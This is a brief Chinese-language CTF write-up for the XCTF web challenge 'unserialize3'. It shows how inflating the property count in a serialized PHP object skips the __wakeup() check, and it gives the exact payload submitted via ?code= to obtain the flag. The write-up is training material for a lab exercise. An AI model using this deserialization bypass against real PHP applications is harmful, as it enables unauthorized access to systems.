反序列化漏洞(unserialize3)

来自 攻防世界题目web-unserialize3

序列化字符串当中属性个数值大于实际的属性个数时,就会导致反序列化异常,从而跳过__wakeup函数

原题目

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

xctf类只拥有一个publicflag变量,值为111

代码进行序列化

<?php

class xctf
{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
    }
}
$a = new xctf();
$b = serialize($a);
echo $b;
?>

得出 O:4:"xctf":1:{s:4:"flag";s:3:"111";}

public属性序列化后格式为:数据类型:属性名长度:“属性名”;数据类型:属性值长度:“属性值

修改xctf数值 使数值错误 导致序列化异常 从而跳过__wakeup函数

例如 O:4:"xctf":2:{s:4:"flag";s:3:"111";}

使用题目给的?code= 提交 即可拿到Flag

参考资料

Last updated

Was this helpful?